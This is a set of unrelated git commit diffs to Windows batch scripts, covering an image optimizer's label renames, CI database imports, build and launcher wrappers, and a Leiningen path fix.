Метки

Метки

Надеюсь исправлена ошибка "не удается найти указанную метку
jpegfileworkfinish"
Ошибка вызвана тем, что есть ограничение на  размер меток - 8 символов.

--- 2.5/iCatalyst.bat
+++ 2.5/iCatalyst.bat
@@ -4,7 +4,7 @@

 setlocal enabledelayedexpansion
 set "name=Image Catalyst"
-set "version=2.5"
+set "version=2.4"
 if "%~1" equ "thrd" call:threadwork %4 %5 "%~2" "%~3" & exit /b
 if "%~1" equ "updateic" call:icupdate & exit /b
 if "%~1" equ "" call:helpmsg & exit /b
@@ -118,7 +118,7 @@
 	title [Error] %name% %version%
 	if exist "%tmppath%" 1>nul 2>&1 rd /s /q "%tmppath%"
 	1>&2 echo -------------------------------------------------------------------------------
-	1>&2 echo  Unknown value of parameter %perr%.
+	1>&2 echo  Unknown value of setting %perr%.
 	call:helpmsg & exit /b
 )
 if "%png%" equ "0" if "%jpeg%" equ "0" if "%gif%" equ "0" goto:endsetcounters
@@ -502,39 +502,38 @@
 )
 if %png% equ 1 (
 	>"%pnglog%" 2>nul truepng -y -i0 -zw5 -zc7 -zm5-9 -zs0-3 -f0,5 -fs:2 %xtreme% -force -out "%filework%" "%~2"
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 	for /f "tokens=2,4,6,8,10 delims=:	" %%a in ('findstr /r /i /b /c:"zc:..zm:..zs:" "%pnglog%"') do (
 		set "zc=%%a"
 		set "zm=%%b"
 		set "zs=%%c"
 	)
 	pngwolfzopfli --zopfli-iter=5 --even-if-bigger --zlib-window=15 --zlib-level=!zc! --zlib-memlevel=!zm! --zlib-strategy=!zs! --max-stagnate-time=0 --max-evaluations=1 --in="%filework%" --out="%filework%" 1>nul 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 )
 if %png% equ 2 (
 	>"%pnglog%" 2>nul truepng -y -i0 -zw5 -zc7 -zm8-9 -zs0-1 -f0,1,5 -fs:2 %advanced% -force -out "%filework%" "%~2"
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 	for /f "tokens=2,4,6,8,10 delims=:	" %%a in ('findstr /r /i /b /c:"zc:..zm:..zs:" "%pnglog%"') do (
 		set "zc=%%a"
 		set "zm=%%b"
 		set "zs=%%c"
 	)
 	truepng -y -i0 -zw5 -zc!zc! -zm!zm! -zs!zs! -f5 -fs:7 -na -nc -np "%filework%" 1>nul 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 	advdef -z3 "%filework%" 1>nul 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 )
 deflopt -k "%filework%" >nul && defluff < "%filework%" > "%filework%-defluff.png" 2>nul
-if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & 1>nul 2>&1 del /f/q "%filework%-defluff.png" & goto:pngfileworkerr)
+if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & 1>nul 2>&1 del /f/q "%filework%-defluff.png" & goto:pngfwe)
 1>nul 2>&1 move /y "%filework%-defluff.png" "%filework%" && deflopt -k "%filework%" >nul
-if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr)
+if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe)
 call:backup2 "%~f2" "%filework%" "%~f3" || set "errbackup=1"
-if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:pngfileworkerr)
-if /i "%chunks%" equ "true" (1>nul 2>&1 truepng -nz -md remove all "%~3" || (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfileworkerr))
+if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:pngfwe)
+if /i "%chunks%" equ "true" (1>nul 2>&1 truepng -nz -md remove all "%~3" || (call:saverrorlog "%~f2" "The image is not supported" & goto:pngfwe))
 call:savelog "%~f3" %psize%
 if %thread% equ 1 for %%a in ("%~f3") do (set /a "ImageSizePNG+=%%~za" & set /a "TotalSizePNG+=%psize%")
-
-:pngfileworkerr
+:pngfwe
 1>nul 2>&1 del /f /q "%filework%" "%pnglog%"
 exit /b

@@ -555,61 +554,58 @@
 )
 if %jpeg% equ 1 (
 	mozjpegtran -verbose -revert -optimize -copy all -outfile "%filework%" "%~2" 1>"%jpglog%" 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe)
 	for /f "tokens=4,10 delims=:,= " %%a in ('findstr /C:"Start Of Frame" "%jpglog%" 2^>nul') do (set "ep=%%a")
-	if "!ep!" equ "0xc0" goto:jpegfileworkbackup
+	if "!ep!" equ "0xc0" goto:jpegfwb
 	if "!ep!" equ "0xc2" (
 		if /i "%~f2" equ "%~f3" (1>nul 2>&1 move /y "%filework%" "%~f3" || set "errbackup=1")
-		goto:jpegfileworkfinish
+		goto:jpegfwf
 	) else (
-		call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr
+		call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe
 	)
 )
 if %jpeg% equ 2 (
 	mozjpegtran -verbose -copy all -outfile "%filework%" "%~2" 1>"%jpglog%" 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe)
 	for /f "tokens=4,10 delims=:,= " %%a in ('findstr /C:"Start Of Frame" "%jpglog%" 2^>nul') do (set "ep=%%a")
-	if "!ep!" equ "0xc2" goto:jpegfileworkbackup
+	if "!ep!" equ "0xc2" goto:jpegfwb
 	if "!ep!" equ "0xc0" (
 		if /i "%~f2" equ "%~f3" (1>nul 2>&1 move /y "%filework%" "%~f3" || set "errbackup=1")
-		goto:jpegfileworkfinish
+		goto:jpegfwf
 	) else (
-		call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr
+		call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe
 	)
 )
 if %jpeg% equ 3 (
 	jpginfo "%~2" 1>"%jpglog%" 2>&1
-	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr)
+	if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe)
 	for /f "usebackq tokens=5" %%a in ("%jpglog%") do set "ep=%%~a"
 	if /i "!ep!" equ "Baseline" (
 		mozjpegtran -verbose -revert -optimize -copy all -outfile "%filework%" "%~2" 1>nul 2>&1
-		if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr)
-		goto:jpegfileworkbackup
+		if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe)
+		goto:jpegfwb
 	)
 	if /i "!ep!" equ "Progressive" (
 		mozjpegtran -verbose -copy all -outfile "%filework%" "%~2" 1>nul 2>&1
-		if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr)
-		goto:jpegfileworkbackup
-	)
-	call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfileworkerr
-)
-
-:jpegfileworkbackup
+		if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe)
+		goto:jpegfwb
+	)
+	call:saverrorlog "%~f2" "The image is not supported" & goto:jpegfwe
+)
+:jpegfwb
 if /i "%~f2" neq "%~f3" (
 	call:backup "%filework%" "%~f2" >nul || set "errbackup=1"
 ) else (
 	call:backup "%~f2" "%filework%" true >nul || set "errbackup=1"
 )
-
-:jpegfileworkfinish
+:jpegfwf
 1>nul 2>&1 del /f /q "%jpglog%"
-if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:jpegfileworkerr)
+if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:jpegfwe)
 if /i "%metadata%" equ "true" (1>nul 2>&1 jpegstripper -y "%~f3" || (call:saverrorlog "%~f2" "The image is not supported" & exit /b))
 call:savelog "%~f3" %jsize%
 if %thread% equ 1 for %%a in ("%~f3") do (set /a "ImageSizeJPG+=%%~za" & set /a "TotalSizeJPG+=%jsize%")
 exit /b
-
-:jpegfileworkerr
+:jpegfwe
 if /i "%~f2" neq "%~f3" (1>nul 2>&1 del /f /q "%filework%")
 1>nul 2>&1 del /f /q "%jpglog%"
 exit /b 1
@@ -629,9 +625,9 @@
 	exit /b 1
 )
 gifsicle --batch %giftags% --optimize=3 --output "%filework1%" "%~2" 1>nul 2>&1
-if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:giffileworkerr)
+if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:giffwe)
 gifsicle --batch %giftags% --output "%filework2%" "%~2" 1>nul 2>&1
-if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:giffileworkerr)
+if errorlevel 1 (call:saverrorlog "%~f2" "The image is not supported" & goto:giffwe)
 if /i "%~f2" neq "%~f3" (
 	call:backup "%filework1%" "%~f2" >nul || set "errbackup=1"
 	call:backup "%filework1%" "%filework2%" true >nul || set "errbackup=1"
@@ -639,12 +635,11 @@
 	call:backup "%~f3" "%filework1%" true >nul || set "errbackup=1"
 	call:backup "%~f3" "%filework2%" true >nul || set "errbackup=1"
 )
-if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:giffileworkerr)
+if %errbackup% neq 0 (call:saverrorlog "%~f2" "The image is not found" & goto:giffwe)
 call:savelog "%~f3" %gsize%
 if %thread% equ 1 for %%a in ("%~f3") do (set /a "ImageSizeGIF+=%%~za" & set /a "TotalSizeGIF+=%jsize%")
 exit /b
-
-:giffileworkerr
+:giffwe
 if /i "%~f2" neq "%~f3" 1>nul 2>&1 del /f /q "%filework1%"
 1>nul 2>&1 del /f /q "%filework2%"
 exit /b 1
@@ -775,7 +770,8 @@
 	if exist "%iculog%" (
 		call:readini "%iculog%"
 		if "%version%" neq "!ver!" (
-			echo.New version available %name% !ver!.
+			echo  New version available %name% !ver!.
+			echo -------------------------------------------------------------------------------
 			start "" !url!
 		)
 		1>nul 2>&1 del /f /q "%iculog%"
@@ -842,21 +838,21 @@
 1>&2 echo  /png:#	Optimization settings PNG:
 1>&2 echo 	1 - Compression level - Xtreme;
 1>&2 echo 	2 - Compression level - Advanced;
-1>&2 echo 	0 - Skip PNG optimization.
+1>&2 echo 	0 - Skip PNG optimization (default).
 1>&2 echo.
 1>&2 echo  /jpg:#	Optimization settings JPEG:
 1>&2 echo 	1 - Encoding Process - Baseline;
 1>&2 echo 	2 - Encoding Process - Progressive;
 1>&2 echo 	3 - Optimization settings default;
-1>&2 echo 	0 - Skip JPEG optimization.
+1>&2 echo 	0 - Skip JPEG optimization (default).
 1>&2 echo.
 1>&2 echo  /gif:#	Optimization settings GIF:
 1>&2 echo 	1 - Optimization settings default:
-1>&2 echo 	0 - Skip GIF optimization.
+1>&2 echo 	0 - Skip GIF optimization (default).
 1>&2 echo.
 1>&2 echo  "/outdir:#" Settings save optimized images:
 1>&2 echo 	true  - replace the original image on optimized;
-1>&2 echo 	false - open dialog box for saving images;
+1>&2 echo 	false - open dialog box for saving images (default);
 1>&2 echo 	"full path to folder - specify the folder to save images.
 1>&2 echo 	for example: "/outdir:C:\temp", if the destination folder does not
 1>&2 echo 	exist, it will be created automatically.
@@ -874,7 +870,6 @@
 :errormsg
 title [Error] %name% %version%
 if exist "%tmppath%" 1>nul 2>&1 rd /s /q "%tmppath%"
-::if "%~1" neq "" 1>nul 2>&1 dlgmsgbox "Image Catalyst" "Msg1" " " "%~1" "E0" "%errortimewait%"
 if "%~1" neq "" echo.%~1
 call:dopause
 exit /b


Update MySqlInstall.bat

Update MySqlInstall.bat

Update CI to use latest 16PY database release

--- Source/AppVeyor/MySqlInstall.bat
+++ Source/AppVeyor/MySqlInstall.bat
@@ -16,14 +16,15 @@
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\changeme.sql
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-06-00-generator-profiles-table.sql
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-06-01-landblock-links.sql
+REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-07-00-inventory-shade.sql

 REM Download latest ACE-World database, extract and import it
-appveyor DownloadFile https://github.com/ACEmulator/ACE-World-16PY/releases/download/v0.0.2/ACE-World-16PY-db-v0.0.2.sql.zip
-7z x ACE-World-16PY-db-v0.0.2.sql.zip
-"C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < ACE-World-16PY-db-v0.0.2.sql
+appveyor DownloadFile https://github.com/ACEmulator/ACE-World-16PY/releases/download/v0.0.3/ACE-World-16PY-db-v0.0.3.sql.zip
+7z x ACE-World-16PY-db-v0.0.3.sql.zip
+"C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < ACE-World-16PY-db-v0.0.3.sql

 REM execute Update Scripts for World Database
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\changeme.sql
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-06-00-generator-profiles-table.sql
 REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-06-01-landblock-links.sql
-"C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-07-00-inventory-shade.sql
+REM "C:\Program Files\MySql\MySQL Server 5.7\bin\mysql.exe" -h localhost -u root -pPassword12! ace_world < database\updates\world\2018-01-07-00-inventory-shade.sql


post updates

post updates

--- zCopyToUpload.bat
+++ zCopyToUpload.bat
@@ -1,8 +0,0 @@
-REM copy Jekyll rendered pages in _site to my github.io repo
-
-
-Xcopy /S /E /I /Y C:\_dev\jekyll\_site C:\_dev\tedbergeron.github.io
-
-
-REM ### File copy has completed ###
-PAUSE


added make.bat helper

added make.bat helper

error: pathspec 'vsprojects/vs2013/make.bat' did not match any file(s) known to git

--- vsprojects/vs2013/make.bat
+++ vsprojects/vs2013/make.bat
@@ -0,0 +1,7 @@
+@rem Convenience wrapper that run specified gRPC target using Nmake
+@rem Usage: make.bat TARGET_NAME
+
+@rem Set VS variables
+@call "%VS120COMNTOOLS%\..\..\vc\vcvarsall.bat" x86
+
+nmake.exe /f GrpcTests.mak %1


Added batch to populate submodules

Added batch to populate submodules

error: pathspec 'GetSubmodules.bat' did not match any file(s) known to git

--- GetSubmodules.bat
+++ GetSubmodules.bat
@@ -0,0 +1 @@
+git submodule update --init --recursive


2-space tab in .bat

2-space tab in .bat

--- src/main.bat
+++ src/main.bat
@@ -1,31 +1,31 @@
 goto starting

 :looping
-    set fold=..\examples\
-    set fil=tictactoe
-    set fils=aggregation, boolean, comparison, countingGame, definition, nonstrict, quantification, set, tictactoe, tmp, tmpGame
-    for %%i in (%fil%) do (
-        set base=%fold%%%~ni
-        set led=!base!.led
-        set p=!base!.p
-        set sl=!base!.sl
+  set fold=..\examples\
+  set fil=tictactoe
+  set fils=aggregation, boolean, comparison, countingGame, definition, nonstrict, quantification, set, tictactoe, tmp, tmpGame
+  for %%i in (%fil%) do (
+    set base=%fold%%%~ni
+    set led=!base!.led
+    set p=!base!.p
+    set sl=!base!.sl

-        set engine=led_engine.py !led!
+    set engine=led_engine.py !led!

-        REM !engine!
-        !engine! > !sl!
-        sli -l !sl!
-    )
-    goto ending
+    REM !engine!
+    !engine! > !sl!
+    sli -l !sl!
+  )
+  goto ending

 :starting
-    cls
-    @echo off
-    setlocal enabledelayedexpansion
-    echo starting...
-    echo:
-    goto looping
+  cls
+  @echo off
+  setlocal enabledelayedexpansion
+  echo starting...
+  echo:
+  goto looping

 :ending
-    echo:
-    echo done
+  echo:
+  echo done


Update play_setup.bat

Update play_setup.bat

--- windows/bat/play_setup.bat
+++ windows/bat/play_setup.bat
@@ -1,4 +1,5 @@
 %~d0
 cd %~p0
 play
+# リフレッシュしてもjarが取れない時は、もう一度叩く
 eclipse with-source=true


pipeline for windows(test)

pipeline for windows(test)

error: pathspec 'src/pipe.bat' did not match any file(s) known to git

--- src/pipe.bat
+++ src/pipe.bat
@@ -0,0 +1 @@
+python start.py -o C:\Users\thomas\Documents\GitHub\barcode-blast-pipeline\data\my_blast.xml -db nt -ba blastn -ps C:\Users\thomas\Documents\GitHub\barcode-blast-pipeline\bin -i C:\Users\thomas\Documents\GitHub\barcode-blast-pipeline\data\IonXpress


Updated tests runner

Updated tests runner

--- tests/runtests.bat
+++ tests/runtests.bat
@@ -1,6 +1,6 @@
 @ECHO OFF

 call "vendor/bin/phpcs.bat" -p --standard=vendor/arachne/coding-style/ruleset.xml src
-call "vendor/bin/phpcs.bat" -p --standard=vendor/arachne/coding-style/ruleset.xml tests
+call "vendor/bin/phpcs.bat" -p --standard=vendor/arachne/coding-style/ruleset.xml --ignore=_temp tests
 call "vendor/bin/codecept.bat" build
 call "vendor/bin/codecept.bat" run


Corrected once again.

Corrected once again.

--- bin/idea.bat
+++ bin/idea.bat
@@ -29,7 +29,7 @@
 :: You may specify your own JVM arguments in idea.exe.vmoptions file. Put one option per line there.
 :: ---------------------------------------------------------------------
 SET ACC=
-FOR /F "delims=" %%i in (%IDEA_HOME%\bin\idea.exe.vmoptions) DO call %IDEA_HOME%\bin\append.bat "%%i"
+FOR /F "delims=" %%i in (%IDEA_HOME%\bin\idea.exe.vmoptions) DO call %IDEA_HOME%\bin\append.bat %%i

 set REQUIRED_IDEA_JVM_ARGS=-Xbootclasspath/p:%IDEA_HOME%/lib/boot.jar %IDEA_PROPERTIES_PROPERTY%
 SET JVM_ARGS=%ACC% %REQUIRED_IDEA_JVM_ARGS%


Updated init.bat.

Updated init.bat.

--- bin/init.bat
+++ bin/init.bat
@@ -1 +1 @@
-@powershell %~dp0init.ps1+@powershell -noprofile -executionpolicy bypass -file %~dp0init.ps1


Fix a bug in lein.bat when LEIN_DIR contains parens.

lein.bat would fail to run when installed into a folder whose path name
contains parentheses (such as "Program Files (x86)").

--- bin/lein.bat
+++ bin/lein.bat
@@ -6,23 +6,16 @@

 rem LEIN_JAR and LEIN_HOME variables can be set manually.

-if "x%LEIN_JAR%" == "x" (
-    set LEIN_DIR=%~dp0
-    set LEIN_JAR=!LEIN_DIR!leiningen-%LEIN_VERSION%-standalone.jar
-)
+if "x%LEIN_JAR%" == "x" set LEIN_JAR="%~dp0%leiningen-!LEIN_VERSION!-standalone.jar"

 if "x%1" == "xself-install" goto SELF_INSTALL
 if "x%1" == "xupgrade"      goto NO_UPGRADE

-
-if "x%LEIN_HOME%" == "x" (
-    set LEIN_HOME=%USERPROFILE%\.lein
-)
+if "x%LEIN_HOME%" == "x" set LEIN_HOME=%USERPROFILE%\.lein

 set ORIGINAL_PWD=%CD%
 call :FIND_DIR_CONTAINING_UPWARDS project.clj
 if "%DIR_CONTAINING%" neq "" cd "%DIR_CONTAINING%"
-

 set LEIN_PLUGINS="
 for %%j in (".\lib\dev\*.jar") do (
@@ -46,13 +39,13 @@
     for %%j in ("!LEIN_ROOT!\lib\*") do set LEIN_LIBS=!LEIN_LIBS!;%%~fj
     set LEIN_LIBS=!LEIN_LIBS!"

-    if "x!LEIN_LIBS!" == "x" if not exist "%LEIN_JAR%" goto NO_DEPENDENCIES
+    if "x!LEIN_LIBS!" == "x" if not exist %LEIN_JAR% goto NO_DEPENDENCIES

-    set CLASSPATH=!LEIN_LIBS!;%CLASSPATH%;"!LEIN_ROOT!\src";"!LEIN_ROOT!\resources";"%LEIN_JAR%"
+    set CLASSPATH=!LEIN_LIBS!;%CLASSPATH%;"!LEIN_ROOT!\src";"!LEIN_ROOT!\resources";%LEIN_JAR%
 ) else (
     rem Not running from a checkout.
-    if not exist "%LEIN_JAR%" goto NO_LEIN_JAR
-    set CLASSPATH="%LEIN_JAR%";%CLASSPATH%
+    if not exist %LEIN_JAR% goto NO_LEIN_JAR
+    set CLASSPATH=%LEIN_JAR%;%CLASSPATH%
 )

 if not "x%DEBUG%" == "x" echo CLASSPATH=%CLASSPATH%
@@ -75,7 +68,7 @@

 :NO_LEIN_JAR
 echo.
-echo "%LEIN_JAR%" can not be found.
+echo %LEIN_JAR% can not be found.
 echo You can try running "lein self-install"
 echo or change LEIN_JAR environment variable
 echo or edit lein.bat to set appropriate LEIN_JAR path.
@@ -90,7 +83,7 @@
 goto EOF

 :SELF_INSTALL
-if exist "%LEIN_JAR%" (
+if exist %LEIN_JAR% (
     echo %LEIN_JAR% already exists. Delete and retry.
     goto EOF
 )
@@ -102,9 +95,9 @@
     set HTTP_CLIENT=curl --insecure -f -L -o
 )
 set LEIN_JAR_URL=https://github.com/downloads/technomancy/leiningen/leiningen-%LEIN_VERSION%-standalone.jar
-%HTTP_CLIENT% "%LEIN_JAR%" %LEIN_JAR_URL%
+%HTTP_CLIENT% %LEIN_JAR% %LEIN_JAR_URL%
 if ERRORLEVEL 1 (
-    del "%LEIN_JAR%">nul 2>&1
+    del %LEIN_JAR%>nul 2>&1
     goto DOWNLOAD_FAILED
 )
 goto EOF


Added a build script to build with `all` as target.

error: pathspec 'buildall.cmd' did not match any file(s) known to git

--- buildall.cmd
+++ buildall.cmd
@@ -0,0 +1 @@
+@"%~dp0build" all


[cassandra] add sigar-dist dependency for cassandra 2.2+ test.

--- bin/ycsb.bat
+++ bin/ycsb.bat
@@ -1,208 +1,208 @@
-@REM
-@REM Copyright (c) 2012 - 2016 YCSB contributors. All rights reserved.
-@REM
-@REM Licensed under the Apache License, Version 2.0 (the "License"); you
-@REM may not use this file except in compliance with the License. You
-@REM may obtain a copy of the License at
-@REM
-@REM http://www.apache.org/licenses/LICENSE-2.0
-@REM
-@REM Unless required by applicable law or agreed to in writing, software
-@REM distributed under the License is distributed on an "AS IS" BASIS,
-@REM WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-@REM implied. See the License for the specific language governing
-@REM permissions and limitations under the License. See accompanying
-@REM LICENSE file.
-@REM
-@REM -----------------------------------------------------------------------
-@REM Control Script for YCSB
-@REM
-@REM Environment Variable Prerequisites
-@REM
-@REM   Do not set the variables in this script. Instead put them into a script
-@REM   setenv.sh in YCSB_HOME/bin to keep your customizations separate.
-@REM
-@REM   YCSB_HOME       (Optional) YCSB installation directory.  If not set
-@REM                   this script will use the parent directory of where this
-@REM                   script is run from.
-@REM
-@REM   JAVA_HOME       (Required) Must point at your Java Development Kit
-@REM                   or Java Runtime Environment installation.
-@REM
-@REM   JAVA_OPTS       (Optional) Java runtime options used when any command
-@REM                   is executed.
-@REM
-@REM   WARNING!!! YCSB home must be located in a directory path that doesn't
-@REM   contain spaces.
-@REM
-
-@ECHO OFF
-SETLOCAL ENABLEDELAYEDEXPANSION
-
-@REM Only set YCSB_HOME if not already set
-PUSHD %~dp0..
-IF NOT DEFINED YCSB_HOME SET YCSB_HOME=%CD%
-POPD
-
-@REM Ensure that any extra CLASSPATH variables are set via setenv.bat
-SET CLASSPATH=
-
-@REM Pull in customization options
-if exist "%YCSB_HOME%\bin\setenv.bat" call "%YCSB_HOME%\bin\setenv.bat"
-
-@REM Check if we have a usable JDK
-IF "%JAVA_HOME%." == "." GOTO noJavaHome
-IF NOT EXIST "%JAVA_HOME%\bin\java.exe" GOTO noJavaHome
-GOTO okJava
-:noJavaHome
-ECHO The JAVA_HOME environment variable is not defined correctly.
-GOTO exit
-:okJava
-
-@REM Determine YCSB command argument
-IF NOT "load" == "%1" GOTO noload
-SET YCSB_COMMAND=-load
-SET YCSB_CLASS=com.yahoo.ycsb.Client
-GOTO gotCommand
-:noload
-IF NOT "run" == "%1" GOTO noRun
-SET YCSB_COMMAND=-t
-SET YCSB_CLASS=com.yahoo.ycsb.Client
-GOTO gotCommand
-:noRun
-IF NOT "shell" == "%1" GOTO noShell
-SET YCSB_COMMAND=
-SET YCSB_CLASS=com.yahoo.ycsb.CommandLine
-GOTO gotCommand
-:noShell
-ECHO [ERROR] Found unknown command '%1'
-ECHO [ERROR] Expected one of 'load', 'run', or 'shell'. Exiting.
-GOTO exit
-:gotCommand
-
-@REM Find binding information
-FOR /F "delims=" %%G in (
-  'FINDSTR /B "%2:" %YCSB_HOME%\bin\bindings.properties'
-) DO SET "BINDING_LINE=%%G"
-
-IF NOT "%BINDING_LINE%." == "." GOTO gotBindingLine
-ECHO [ERROR] The specified binding '%2' was not found.  Exiting.
-GOTO exit
-:gotBindingLine
-
-@REM Pull out binding name and class
-FOR /F "tokens=1-2 delims=:" %%G IN ("%BINDING_LINE%") DO (
-  SET BINDING_NAME=%%G
-  SET BINDING_CLASS=%%H
-)
-
-@REM Some bindings have multiple versions that are managed in the same
-@REM directory.
-@REM   They are noted with a '-' after the binding name.
-@REM   (e.g. cassandra-7 & cassandra-8)
-FOR /F "tokens=1 delims=-" %%G IN ("%BINDING_NAME%") DO (
-  SET BINDING_DIR=%%G
-)
-
-@REM The 'basic' binding is core functionality
-IF NOT "%BINDING_NAME%" == "basic" GOTO noBasic
-SET BINDING_DIR=core
-:noBasic
-
-@REM Add Top level conf to classpath
-IF "%CLASSPATH%." == "." GOTO emptyClasspath
-SET CLASSPATH=%CLASSPATH%;%YCSB_HOME%\conf
-GOTO confAdded
-:emptyClasspath
-SET CLASSPATH=%YCSB_HOME%\conf
-:confAdded
-
-@REM Cassandra2 deprecation message
-IF NOT "%BINDING_DIR%" == "cassandra2" GOTO notAliasCassandra
-echo [WARN] The 'cassandra2-cql' client has been deprecated. It has been renamed to simply 'cassandra-cql'. This alias will be removed in the next YCSB release.
-SET BINDING_DIR=cassandra
-:notAliasCassandra
-
-@REM Build classpath according to source checkout or release distribution
-IF EXIST "%YCSB_HOME%\pom.xml" GOTO gotSource
-
-@REM Core libraries
-FOR %%F IN (%YCSB_HOME%\lib\*.jar) DO (
-  SET CLASSPATH=!CLASSPATH!;%%F%
-)
-
-@REM Database conf dir
-IF NOT EXIST "%YCSB_HOME%\%BINDING_DIR%-binding\conf" GOTO noBindingConf
-set CLASSPATH=%CLASSPATH%;%YCSB_HOME%\%BINDING_DIR%-binding\conf
-:noBindingConf
-
-@REM Database libraries
-FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%-binding\lib\*.jar) DO (
-  SET CLASSPATH=!CLASSPATH!;%%F%
-)
-GOTO classpathComplete
-
-:gotSource
-@REM Check for some basic libraries to see if the source has been built.
-IF EXIST "%YCSB_HOME%\%BINDING_DIR%\target\*.jar" GOTO gotJars
-
-@REM Call mvn to build source checkout.
-IF "%BINDING_NAME%" == "basic" GOTO buildCore
-SET MVN_PROJECT=%BINDING_DIR%-binding
-goto gotMvnProject
-:buildCore
-SET MVN_PROJECT=core
-:gotMvnProject
-
-ECHO [WARN] YCSB libraries not found.  Attempting to build...
-CALL mvn -pl com.yahoo.ycsb:%MVN_PROJECT% -am package -DskipTests
-IF %ERRORLEVEL% NEQ 0 (
-  ECHO [ERROR] Error trying to build project. Exiting.
-  GOTO exit
-)
-
-:gotJars
-@REM Core libraries
-FOR %%F IN (%YCSB_HOME%\core\target\*.jar) DO (
-  SET CLASSPATH=!CLASSPATH!;%%F%
-)
-
-@REM Database conf (need to find because location is not consistent)
-FOR /D /R %YCSB_HOME%\%BINDING_DIR% %%F IN (*) DO (
-  IF "%%~nxF" == "conf" SET CLASSPATH=!CLASSPATH!;%%F%
-)
-
-@REM Database libraries
-FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%\target\*.jar) DO (
-  SET CLASSPATH=!CLASSPATH!;%%F%
-)
-
-@REM Database dependency libraries
-FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%\target\dependency\*.jar) DO (
-  SET CLASSPATH=!CLASSPATH!;%%F%
-)
-
-:classpathComplete
-
-@REM Couchbase deprecation message
-IF NOT "%BINDING_DIR%" == "couchbase" GOTO notOldCouchbase
-echo [WARN] The 'couchbase' client is deprecated. If you are using Couchbase 4.0+ try using the 'couchbase2' client instead.
-:notOldCouchbase
-
-@REM Get the rest of the arguments, skipping the first 2
-FOR /F "tokens=2*" %%G IN ("%*") DO (
-  SET YCSB_ARGS=%%H
-)
-
-@REM Run YCSB
-@ECHO ON
-"%JAVA_HOME%\bin\java.exe" %JAVA_OPTS% -classpath "%CLASSPATH%" %YCSB_CLASS% %YCSB_COMMAND% -db %BINDING_CLASS% %YCSB_ARGS%
-@ECHO OFF
-
-GOTO end
-
-:exit
-EXIT /B 1;
-
-:end
-
+@REM
+@REM Copyright (c) 2012 - 2016 YCSB contributors. All rights reserved.
+@REM
+@REM Licensed under the Apache License, Version 2.0 (the "License"); you
+@REM may not use this file except in compliance with the License. You
+@REM may obtain a copy of the License at
+@REM
